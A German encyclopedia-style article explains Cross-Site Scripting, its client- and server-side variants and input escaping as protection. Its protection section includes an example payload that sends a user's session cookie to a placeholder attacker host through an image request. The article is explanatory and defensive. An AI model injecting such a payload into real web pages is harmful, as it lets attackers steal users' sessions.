Cross-Site Scripting (XSS) bezeichnet das Ausnutzen einer Computersicherheitslücke, indem Informationen aus einem Kontext, in dem sie nicht vertrauenswürdig sind, in einen anderen Kontext eingefügt werden, in dem sie als vertrauenswürdig eingestuft sind. Aus diesem vertrauenswürdigen Kontext kann dann ein Angriff gestartet werden.
Die Bezeichnung „Cross-Site“ leitet sich von der Art ab, wie diese Attacke webseitenübergreifend ausgeführt wird (auf einer vom Angreifer kontrollierten Seite steht beispielsweise ein präparierter Hyperlink, der zur vermeintlich vertrauenswürdigen Website einer meist ahnungslosen dritten Partei führt).
Cross-Site Scripting wird manchmal auch „CSS“ abgekürzt, hat jedoch nichts mit der Cascading-Style-Sheet-Technologie zu tun, die weit häufiger CSS genannt wird. Um Verwechslungen zu vermeiden, sollte daher die Abkürzung XSS benutzt werden.
Funktionsweise
Hinter dem Begriff Cross-Site Scripting verbergen sich zwei grundsätzlich unterschiedliche Angriffsvektoren, die immer wieder verwechselt oder undifferenziert betrachtet werden. Es handelt sich dabei um die folgenden zwei:
Clientseitig
Beim clientseitigen Cross-Site Scripting wird Code auf Seite des Clients ausgeführt, etwa dem Webbrowser oder E-Mail-Programm. Daher muss der Angreifer seinem Opfer einen präparierten Hyperlink zukommen lassen, den er zum Beispiel in eine Webseite einbindet oder in einer E-Mail versendet. Es werden häufig URL-Spoofing-Techniken und Kodierungsverfahren eingesetzt, um den Link unauffällig oder vertrauenswürdig erscheinen zu lassen.
Ein klassisches Beispiel für clientseitiges Cross-Site Scripting ist die Übergabe von Parametern an ein CGI-Skript einer Website. So ist es unter Umständen möglich, manipulierte Daten an den Benutzer zu senden. Diese Daten sind oft Code einer clientseitigen Skriptsprache, die als Parameter an eine Website übergeben werden. Wenn dieser Code dann in der vom Server zurückgesendeten Webseite wieder auftaucht, kann es dazu führen, dass der Webbrowser des Benutzers diesen Code ausführt. Dies kann erreicht werden, indem Daten in ein Formular auf der Seite eingegeben werden, das normalerweise als Eingabefenster für ein Webforum dient, oder indem eine URL mit dem Code als Parameter veröffentlicht wird, auf die die User klicken (z. B. in E-Mails oder im Usenet).
Gefährlich wird dies, wenn die Website, auf der der Code untergebracht wurde, im lokalen Browser mit besonderen Sicherheitsrechten (Privilegien) ausgestattet ist. Der Code kann dann in Abhängigkeit von der Mächtigkeit der Skriptsprache verschiedene Dinge tun, die mit den Rechten des lokalen Benutzers möglich sind. Alternativ kann der Code auch Cookies mit Anmeldeinformationen stehlen.
Da aus Bequemlichkeitsgründen auf Microsoft Windows-Systemen der lokale Benutzer häufig mit Administrator-Rechten ausgestattet ist, ist dies bereits eine potenziell sehr gefährliche Konstellation. Aber auch ohne Administrator-Rechte kann der Angreifer versuchen, durch Ausnutzung von Sicherheitslücken bei der Ausführung der betreffenden Skriptsprache diese Rechte zu erlangen.
Serverseitig
Beim serverseitigen Cross-Site Scripting wird versucht, Code auf dem Server auszuführen. Dies ist z. B. durch PHPs „include“-Anweisungen möglich. Unter PHP ist es möglich, Dateien von anderen Rechnern einzubinden, also auch von einem Rechner eines Angreifers. Etliche Programmiersprachen wie Perl bieten die Möglichkeit, lokal Programme über eine Shell auszuführen. Wird ein lokales Programm mit benutzermanipulierbaren Parametern aufgerufen und die Parameter nicht entsprechend gefiltert, ist es möglich, weitere Programme aufzurufen. So können etwa Dateien geändert oder sensible Daten ausgespäht werden.
Neuerdings werden Webspider, wie der Google Suchroboter, missbraucht, um serverseitige XSS- und SQL-Injection-Attacken auszuführen. Hierzu wird ein präparierter Link auf einer Webseite veröffentlicht. Sobald ein Webspider diesem Link folgt, löst er die Attacke aus. Dadurch taucht die IP-Adresse des Spiders und nicht die des eigentlichen Angreifers in den Protokollen des angegriffenen Systemes auf.
Schutz
Um eine Webanwendung vor einem XSS-Angriff zu schützen, müssen alle eingehenden Parameter als unsicher betrachtet und vor der Verwendung entsprechend geprüft werden. Hier treffen die Zitate eines Microsoft-Mitarbeiters zu, der ein Buch Never trust the client und sein nächstes bereits All incoming data is EVIL nannte. Wie kann man diese Klimax erklären?
Jegliche Daten, die einmal beim Client, d.h. beim Besucher der Website, waren, sind potenziell verseucht. So könnte sich beispielsweise ein Mitglied in einem Forum hallo<script>alert("test");</script> nennen.
Werden die in dem String enthaltenen Steuerzeichen (<>“) und Tags (<script>) vor der Ausgabe an den Browser nicht in HTML übersetzt (in PHP beispielsweise per htmlspecialchars()), so führt der Browser sie als JavaScript aus. Der Betrachter der Seite sieht lediglich als Anzeige hallo - erhält jedoch eine nervige Box mit der Schrift „test“.
Möglich hierbei wäre z.B. auch, im Benutzernamen JavaScript Code einzufügen, mit dessen Hilfe man das Sessioncookie des Benutzers an einen fremden Rechner schickt (Horst <script>(new Image).src = "http://www.boeserechner.de/s/c.php?c=" + escape(document.cookie);</script>).
Folgerichtig darf eine HTML-Eingabe eines Benutzers nicht unversehens an andere Benutzer zurückgeschickt werden. Auch das Verbot des <script>-Tags führt nicht zum Erfolg, da auch diverse andere Tags für XSS missbraucht werden können.
Durch Ausschalteten von JavaScript (Active Scripting) im Browser kann man sich gegen clientseitige XSS-Angriffe schützen. Allerdings bieten einige Browser weitere Angriffsvektoren.